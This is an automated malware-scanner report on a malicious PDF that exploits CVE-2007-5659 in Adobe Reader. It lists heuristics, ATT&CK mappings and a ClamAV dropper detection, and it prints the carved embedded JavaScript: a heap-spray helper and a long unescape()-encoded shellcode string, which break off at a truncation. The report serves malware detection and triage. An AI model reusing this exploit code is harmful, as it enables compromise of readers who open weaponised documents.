MALICIOUS
348
Risk Score
Malware Insights
MITRE ATT&CK
T1059.007 JavaScript
T1203 Exploitation for Client Execution
T1566.001 Spearphishing Attachment
This PDF file contains embedded JavaScript that leverages the CVE-2007-5659 vulnerability (Collab.collectEmailInfo) and uses unescape() for obfuscation. The critical heuristics indicate a JavaScript exploit cluster, and ClamAV detected it as a dropper. The embedded JavaScript is designed to download and execute a secondary payload, characteristic of a dropper malware.
Machine Learning
- Nyx PDF Classifier malicious score 0.9999
Heuristics 10
-
Collab.collectEmailInfo — CVE-2007-5659 critical CVE exact CVE_2007_5659PDF JavaScript calls Collab.collectEmailInfo — CVE-2007-5659 is a buffer overflow in Adobe Reader triggered by a long argument or heap-sprayed message field passed to Collab.collectEmailInfo(). Part of a series of Acrobat JS API exploits. (matched in decompressed stream)
-
ClamAV: Win.Trojan.Dropper-82 critical CLAMAV_DETECTIONClamAV detected this file as malware: Win.Trojan.Dropper-82
-
JavaScript action low 2 related findings PDF_JAVASCRIPTPDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
-
PDF JavaScript exploit cluster critical PDF_JS_EXPLOIT_CLUSTERPDF combines an executable JavaScript/action surface with exploit staging indicators such as eval/unescape/fromCharCode, XFA script content, or a related CVE pattern. Benign form JavaScript remains low-severity, but this correlated cluster is high-confidence malicious behavior.
-
Embedded JS stream low PDF_JSPDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
-
Embedded file low PDF_EMBEDDEDPDF embeds a file attachment — could carry an executable or another weaponised document as a nested payload
-
XFA form low PDF_XFAPDF uses XML Forms Architecture — can contain script logic
-
Object number defined twice with different bodies info PDF_DUPLICATE_OBJ_BODY_INCREMENTALThe same indirect object (N G) is defined more than once with different body bytes. First-wins and last-wins readers will resolve different content, which is a parser-confusion shape used by targeted PDFs. Body-only differences are common in benign incremental updates, so severity is raised only when the duplicate carries active content.
-
Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGEOne or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
-
Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL http://www.w3.org/1999/xhtml In PDF document text
- http://www.xfa.org/schema/xfa-data/1.0/In PDF document text
- http://www.w3.org/1999/02/22-rdf-syntax-ns#In PDF document text
- http://ns.adobe.com/pdf/1.3/In PDF document text
- http://ns.adobe.com/xap/1.0/In PDF document text
- http://ns.adobe.com/xap/1.0/mm/In PDF document text
- http://purl.org/dc/elements/1.1/In PDF document text
Extracted artifacts 3
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
javascript_obj0033_000.jsa94ed7d0c010d078356a95fba1abc6601200b7b83eb811ee5f92813f20d13533 |
pdf-javascript-stream | PDF /JS object 33 at offset 0x151A | 85 bytes |
Preview scriptFirst 1,000 lines of the extracted script
function re(count,what)
{
var v = "";
while (--count >= 0)
v += what;
return
|
|||
javascript_obj0035_001.js03574e1d20835705dbdbe0505985a8472366bec2262ccb79f03184e327e7082a |
pdf-javascript-stream | PDF /JS object 35 at offset 0x18527 | 5283 bytes |
|
Detection
ClamAV:
Win.Trojan.Dropper-82
Obfuscation or payload:
likely
Carved artifact contains 16 eval/decoder/string-building token(s).
|
|||
Preview scriptFirst 1,000 lines of the extracted script
function re(count,what)
{
var v = "";
while (--count >= 0)
v += what;
return v;
}
function start()
{
sc = unescape("%u9090%u9090%u9090%u9090%uEB90%u5E1a%u5B56%u068a%u303c%u1674%uE0c0%u4604%u268a%uE480%u020f%u88c4%u4303%uEB46%uE8e9%uFFe1%uFFff"+
"%u7456%u715a%u7053%u7050%u7050%u7050%u7059%u6b58%u7054%u6c50%u7059%u6b58%u7057%u6c51%u6d5a%u6b58%u7057%u7850%u7059%u794e%u6b58%u7250%u7050%u7050%u7855%u7059%u7158%u6c4e%u7050%u7250%u7050%u7050%u6b58%u6c4f%u7958%u7757%u7850%u7958%u7754%u7051%u6f4f%u7757%u7850%u7856%u6c4e%u7759%u7350%u6c50%u784e%u7a51%u7250%u7050%u7050%u7958%u7754%u6c51%u6f4f%u7757%u7850%u7856%u764f%u7252%u794b%u6c57%u784e%u7a50%u7250%u7050%u7050%u7059%u7958%u7754%u7052%u6f4f%u7757%u7850%u7856%u755a%u7751%u7050%u6c57%u784e%u794f%u7150%u7050%u7050%u7958%u7754%u7452%u6f4f%u7757%u7850%u7856%u6b4f%u7759%u6d4f%u6f50%u784e%u794e%u7150%u7050%u7050%u7059%u7958%u7754%u7852%u6f4f%u7757%u7850%u7856%u7651%u7556%u7a4f%u7051%u784e%u784d%u7150%u7050%u7050%u7958%u7754%u6c52%u6f4f%u7757%u7850%u7856%u6f51%u7957%u7a50%u784e%u784e%u784c%u7150%u7050%u7050%u7958%u7754%u7053%u7059%u7059%u7059%u7059%u7059%u7059%u6f4f%u7757%u7850%u7856%u6c5a%u7850%u7a4d%u7657%u784e%u724b%u7150%u7050%u7050%u7958%u7754%u7853%u6f4f%u7757%u7850%u7856%u7859%u6e4f%u7a58%u6e50%u784e%u725a%u7150%u7050%u7050%u7958%u7754%u6c53%u6f4f%u7757%u7850%u7856%u7457%u7958%u6c4e%u7959%u784e%u7259%u7150%u7050%u7050%u7958%u7754%u7054%u6f4f%u7757%u7850%u7856%u6e57%u784d%u724e%u7357%u784e%u7258%u7150%u7050%u7050%u7958%u7754%u7454%u6f4f%u7757%u7850%u7856%u6d5a%u6b59%u6d57%u6f4d%u784e%u7257%u7150%u7050%u7050%u7958%u7754%u7854%u7059%u7059%u7059%u7059%u7059%u7059%u7353%u764f%u7654%u6d58%u7754%u7056%u7055%u7655%u6f4f%u7755%u7854%u7358%u784f%u6f4f%u7457%u724f%u6d53%u7050%u7051%u7050%u7050%u7657%u6b4e%u7958%u7754%u7450%u7958%u7757%u7056%u6f4f%u7757%u7450%u7a56%u7054%u6f4f%u7755%u6c51%u7958%u7754%u6c55%u7a56%u7050%u7a56%u7050%u7a56%u7050%u6f4f%u7757%u7056%u6f4f%u7755%u7853%u7358%u784f%u6f4f%u7457%u7756%u7a56%u7050%u6d58%u6f55%u7057%u7355%u6f4f%u7757%u7450%u6f4f%u7757%u6c55%u6f4f%u7757%u7056%u6f4f%u7755%u6c52%u6b58%u6f54%u7057%u7358%u794e%u7051%u6b58%u7754%u6c55%u7054%u7158%u7853%u7654%u6e52%u7a55%u7856%u7557%u7950%u7158%u7857%u7450%u7352%u7650%u7158%u7951%u7457%u7450%u724e%u6c4e%u6b4e%u7653%u7358%u704c%u7850%u7958%u7754%u7451%u7054%u7158%u7853%u7a54%u7557%u7356%u6b54%u7557%u7950%u7158%u7857%u7450%u7251%u7150%u7358%u7951%u7457%u7450%u724e%u6c4e%u6b4e%u7a51%u7358%u704c%u7850%u7958%u7754%u7851%u7054%u7158%u7853%u7654%u7954%u7654%u7154%u7557%u7950%u7158%u7857%u7450%u7350%u7750%u7358%u7951%u7457%u7251%u724e%u6c4e%u6f4f%u7757%u6c55%u6f4f%u7755%u7052%u6f50%u7558%u7655%u6f4f%u6f4f%u6f4f%u7059%u7059%u7059%u7059%u7958%u7754%u7457%u7a56%u7050%u7a56%u7250%u7a56%u7250%u7a56%u7050%u7a56%u7350%u7856%u7050%u7050%u7050%u7054%u6b58%u6f55%u7051%u7358%u734c%u7451%u7355%u6f4f%u7755%u7452%u7958%u7754%u7857%u7a56%u7050%u7a56%u7250%u7a56%u7250%u7a56%u7050%u7a56%u7350%u7856%u7050%u7050%u7050%u7054%u6f4f%u7757%u7051%u6f4f%u7755%u7452%u7958%u7754%u7456%u7059%u7059%u7059%u7059%u7059%u7059%u7059%u6b58%u7754%u7851%u6b52%u7754%u7451%u7358%u784e%u7850%u6b58%u6f55%u7451%u7053%u7350%u7354%u7854%u7358%u784f%u7050%u7557%u774f%u7a56%u7050%u6d58%u6f55%u7057%u7355%u6b58%u6f55%u7851%u6b52%u6f55%u7451%u7358%u6b4e%u7850%u7355%u6f4f%u7757%u7451%u6f4f%u7757%u7456%u6f4f%u7755%u7053%u6f4f%u7757%u7456%u6f4f%u7755%u7852%u6b58%u7754%u7457%u6b52%u7754%u7851%u6b58%u6f55%u7851%u7053%u7350%u7354%u7854%u7358%u784f%u7050%u7557%u774f%u7a56%u7050%u6d58%u6f55%u7057%u7355%u6b58%u6f55%u7457%u6b52%u6f55%u7851%u7355%u6f4f%u7757%u7851%u6f4f%u7757%u7857%u6f4f%u7755%u7053%u6f4f%u7757%u7857%u6f4f%u7755%u7852%u7a56%u7050%u6f4f%u7757%u7051%u6f4f%u7755%u6c53%u7a56%u7050%u6b58%u6f55%u7051%u7358%u734c%u7950%u7355%u6f4f%u7755%u6c53%u7a56%u7050%u6f4f%u7755%u7454%u7555%u6b58%u6c4e%u7755%u6b58%u6d57%u7850%u6b58%u6d55%u6c50%u7655%u6b58%u7357%u6c53%u6b58%u7457%u7353%u7857%u7350%u734f%u7655%u6b58%u7657%u7052%u7350%u734f%u7353%u794c%u7954%u7154%u6d5a%u7350%u734c%u7655%u7353%u764f%u6f50%u6e4b%u7051%u7a53%u724f%u7457%u7850%u714c%u6e4c%u6d50%u7350%u724f%u
... (truncated)
|
|||
combined_document_js_000.js4181580af7a86bc508435de8b69342bea1fd497ec610939447a02c235508ed3b |
deobfuscated-js | combined document JavaScript streams at offset 0x151A | 5369 bytes |
|
Detection
ClamAV:
Win.Trojan.Dropper-82
Obfuscation or payload:
likely
Carved artifact contains 16 eval/decoder/string-building token(s).
|
|||
Preview scriptFirst 1,000 lines of the extracted script
function re(count,what)
{
var v = "";
while (--count >= 0)
v += what;
return
function re(count,what)
{
var v = "";
while (--count >= 0)
v += what;
return v;
}
function start()
{
sc = unescape("%u9090%u9090%u9090%u9090%uEB90%u5E1a%u5B56%u068a%u303c%u1674%uE0c0%u4604%u268a%uE480%u020f%u88c4%u4303%uEB46%uE8e9%uFFe1%uFFff"+
"%u7456%u715a%u7053%u7050%u7050%u7050%u7059%u6b58%u7054%u6c50%u7059%u6b58%u7057%u6c51%u6d5a%u6b58%u7057%u7850%u7059%u794e%u6b58%u7250%u7050%u7050%u7855%u7059%u7158%u6c4e%u7050%u7250%u7050%u7050%u6b58%u6c4f%u7958%u7757%u7850%u7958%u7754%u7051%u6f4f%u7757%u7850%u7856%u6c4e%u7759%u7350%u6c50%u784e%u7a51%u7250%u7050%u7050%u7958%u7754%u6c51%u6f4f%u7757%u7850%u7856%u764f%u7252%u794b%u6c57%u784e%u7a50%u7250%u7050%u7050%u7059%u7958%u7754%u7052%u6f4f%u7757%u7850%u7856%u755a%u7751%u7050%u6c57%u784e%u794f%u7150%u7050%u7050%u7958%u7754%u7452%u6f4f%u7757%u7850%u7856%u6b4f%u7759%u6d4f%u6f50%u784e%u794e%u7150%u7050%u7050%u7059%u7958%u7754%u7852%u6f4f%u7757%u7850%u7856%u7651%u7556%u7a4f%u7051%u784e%u784d%u7150%u7050%u7050%u7958%u7754%u6c52%u6f4f%u7757%u7850%u7856%u6f51%u7957%u7a50%u784e%u784e%u784c%u7150%u7050%u7050%u7958%u7754%u7053%u7059%u7059%u7059%u7059%u7059%u7059%u6f4f%u7757%u7850%u7856%u6c5a%u7850%u7a4d%u7657%u784e%u724b%u7150%u7050%u7050%u7958%u7754%u7853%u6f4f%u7757%u7850%u7856%u7859%u6e4f%u7a58%u6e50%u784e%u725a%u7150%u7050%u7050%u7958%u7754%u6c53%u6f4f%u7757%u7850%u7856%u7457%u7958%u6c4e%u7959%u784e%u7259%u7150%u7050%u7050%u7958%u7754%u7054%u6f4f%u7757%u7850%u7856%u6e57%u784d%u724e%u7357%u784e%u7258%u7150%u7050%u7050%u7958%u7754%u7454%u6f4f%u7757%u7850%u7856%u6d5a%u6b59%u6d57%u6f4d%u784e%u7257%u7150%u7050%u7050%u7958%u7754%u7854%u7059%u7059%u7059%u7059%u7059%u7059%u7353%u764f%u7654%u6d58%u7754%u7056%u7055%u7655%u6f4f%u7755%u7854%u7358%u784f%u6f4f%u7457%u724f%u6d53%u7050%u7051%u7050%u7050%u7657%u6b4e%u7958%u7754%u7450%u7958%u7757%u7056%u6f4f%u7757%u7450%u7a56%u7054%u6f4f%u7755%u6c51%u7958%u7754%u6c55%u7a56%u7050%u7a56%u7050%u7a56%u7050%u6f4f%u7757%u7056%u6f4f%u7755%u7853%u7358%u784f%u6f4f%u7457%u7756%u7a56%u7050%u6d58%u6f55%u7057%u7355%u6f4f%u7757%u7450%u6f4f%u7757%u6c55%u6f4f%u7757%u7056%u6f4f%u7755%u6c52%u6b58%u6f54%u7057%u7358%u794e%u7051%u6b58%u7754%u6c55%u7054%u7158%u7853%u7654%u6e52%u7a55%u7856%u7557%u7950%u7158%u7857%u7450%u7352%u7650%u7158%u7951%u7457%u7450%u724e%u6c4e%u6b4e%u7653%u7358%u704c%u7850%u7958%u7754%u7451%u7054%u7158%u7853%u7a54%u7557%u7356%u6b54%u7557%u7950%u7158%u7857%u7450%u7251%u7150%u7358%u7951%u7457%u7450%u724e%u6c4e%u6b4e%u7a51%u7358%u704c%u7850%u7958%u7754%u7851%u7054%u7158%u7853%u7654%u7954%u7654%u7154%u7557%u7950%u7158%u7857%u7450%u7350%u7750%u7358%u7951%u7457%u7251%u724e%u6c4e%u6f4f%u7757%u6c55%u6f4f%u7755%u7052%u6f50%u7558%u7655%u6f4f%u6f4f%u6f4f%u7059%u7059%u7059%u7059%u7958%u7754%u7457%u7a56%u7050%u7a56%u7250%u7a56%u7250%u7a56%u7050%u7a56%u7350%u7856%u7050%u7050%u7050%u7054%u6b58%u6f55%u7051%u7358%u734c%u7451%u7355%u6f4f%u7755%u7452%u7958%u7754%u7857%u7a56%u7050%u7a56%u7250%u7a56%u7250%u7a56%u7050%u7a56%u7350%u7856%u7050%u7050%u7050%u7054%u6f4f%u7757%u7051%u6f4f%u7755%u7452%u7958%u7754%u7456%u7059%u7059%u7059%u7059%u7059%u7059%u7059%u6b58%u7754%u7851%u6b52%u7754%u7451%u7358%u784e%u7850%u6b58%u6f55%u7451%u7053%u7350%u7354%u7854%u7358%u784f%u7050%u7557%u774f%u7a56%u7050%u6d58%u6f55%u7057%u7355%u6b58%u6f55%u7851%u6b52%u6f55%u7451%u7358%u6b4e%u7850%u7355%u6f4f%u7757%u7451%u6f4f%u7757%u7456%u6f4f%u7755%u7053%u6f4f%u7757%u7456%u6f4f%u7755%u7852%u6b58%u7754%u7457%u6b52%u7754%u7851%u6b58%u6f55%u7851%u7053%u7350%u7354%u7854%u7358%u784f%u7050%u7557%u774f%u7a56%u7050%u6d58%u6f55%u7057%u7355%u6b58%u6f55%u7457%u6b52%u6f55%u7851%u7355%u6f4f%u7757%u7851%u6f4f%u7757%u7857%u6f4f%u7755%u7053%u6f4f%u7757%u7857%u6f4f%u7755%u7852%u7a56%u7050%u6f4f%u7757%u7051%u6f4f%u7755%u6c53%u7a56%u7050%u6b58%u6f55%u7051%u7358%u734c%u7950%u7355%u6f4f%u7755%u6c53%u7a56%u7050%u6f4f%u7755%u7454%u7555%u6b58%u6c4e%u7755%u6b58%u6d57%u7850%u6b58%u6d55%u6c50%u7655%u6b58%u7357%u6c53%u6b58%u7457%u7353%u7857%u7350%u734f%u7655%u6b58%u7657%u7052%u7350%u734f%u7353%u794c%u7954%u7154%u6d5a%u7350%u734c%u7655
... (truncated)
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.